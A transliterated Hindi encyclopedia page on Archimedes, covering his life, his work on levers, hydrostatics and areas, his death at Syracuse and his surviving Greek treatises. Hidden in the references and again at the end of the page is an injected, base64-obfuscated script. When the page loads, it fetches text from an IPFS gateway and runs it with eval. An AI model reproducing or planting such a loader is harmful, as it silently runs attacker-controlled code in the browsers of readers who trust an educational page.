आर्किमिडिज़

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search

arkimidiz (287-212 ee. poo.), vishv ke mahanh‌ ganitajn ka janm sisali ke sirakyuz namak sthan mean khagolashastri faidiyaz ke ghar 287 ee. poo. mean hua tha. inhoanne ganit ka adhyayan sanbhavat: alaikzaiandriya mean kiya. ganit ko inaki den apoorv hai. inhoanne yaantriki ke 'uttolak (livar) ke niyamoan' ka avishkar kiya. chapate taloan aur bhinn bhinn akritiyoan ke thosoan ke kshetraphal evan gurutvakeandr nikalane mean yah saphal hue. inhian ne pray: samast dravasthiti vijnan ka avishkar kiya aur isaka prayog anek prakar ke plavaman piandoan ki samyasthiti jnat karane mean kiya. inake atirikt inhoanne vakriy samatalakritiyoan ke kshetraphal evan vakratal se simiti thosoan ke ghanaphal nikalane ki vyapak vidhiyoan ki bhi khoj ki. inaki vidhiyoan mean 2,000 varsh pashchath‌ avishkrit kalan (kailkyulas) ki vidhiyoan ki jhalak thi. inhoanne yuddhopayogi anek shastroan ki bhi rachana ki jinase 212 ee. poo. ke sirakyuz ke ghere ke samay romanivasiyoan ko ati kshati pahuanchi. aant mean vijetaoan dvara inaka vadh kar diya gaya, parantu senanayak marselus ne inaki apoorv buddhi se prabhavit hokar inaki ek samadhi ka nirman karaya, jisake oopar inake poorv ichchhanusar belan ke aantargat khianche ge ek gole ka chitr aankit kiya gaya tha.[1]

grik bhasha mean arkimidiz ki nimnalikhit rachanaean upalabdh haian: (1) pairi sphairash‌ kai kilidr (gola aur ranbh), (2) kikloo maitresish‌ (vritt ki map), (3) pairi konoideanh‌ kai sphairoideonh‌ (a-shanku aur a-gaul), (4) pairi elikon (kuantal), (5) pairi aipipaidonh‌ isoroionh‌ e keantra baronh‌ aipipedonh‌ (samatal samataul aur akarshanakeandr), (6) tetragonismash‌ parabolesh‌ (paravalay ka kshetraphal), (7) pairi aukhoomainonh‌ (plavi kay), (8) psammites (balukaranoan ki ganana), (9) methodash‌ (vaijnanik anusandhan ki padvati), (10) lemmata (bhoomiti sanbandhi prasthapanaoan ka sangrah). inake atirikt unaki kuchh any rachanaoan ke keval nam matr upalabdh hote haian. unaki ek rachana ka nam pashusamasya bhi hai. arkimidiz ki sabhi rachanaean maulik aur prasadagun se yukt haian. vah chalarashikalan (iantegral kailkulas) ke avishkar ke samip tak pahuanch chuke the. vritt ki map ke sanbandh mean bhi unake parinam bahut kuchh santoshaprad the.[2] yadyapi unhoanne bahut se yantroan ka nirman kiya tha, tathapi unaki ruchi saidvaantik gaveshana ki or adhik thi.[3]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. ramakumar
  2. hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 428 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. san.gran.-mool rachanaean, haeebarg ka sanskaran (latini anuvad sahit); ti.el. hith: d varks aauv arkimidiz; ee.ti.bel: men aauv maithemetiks.

sanbandhit lekh

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>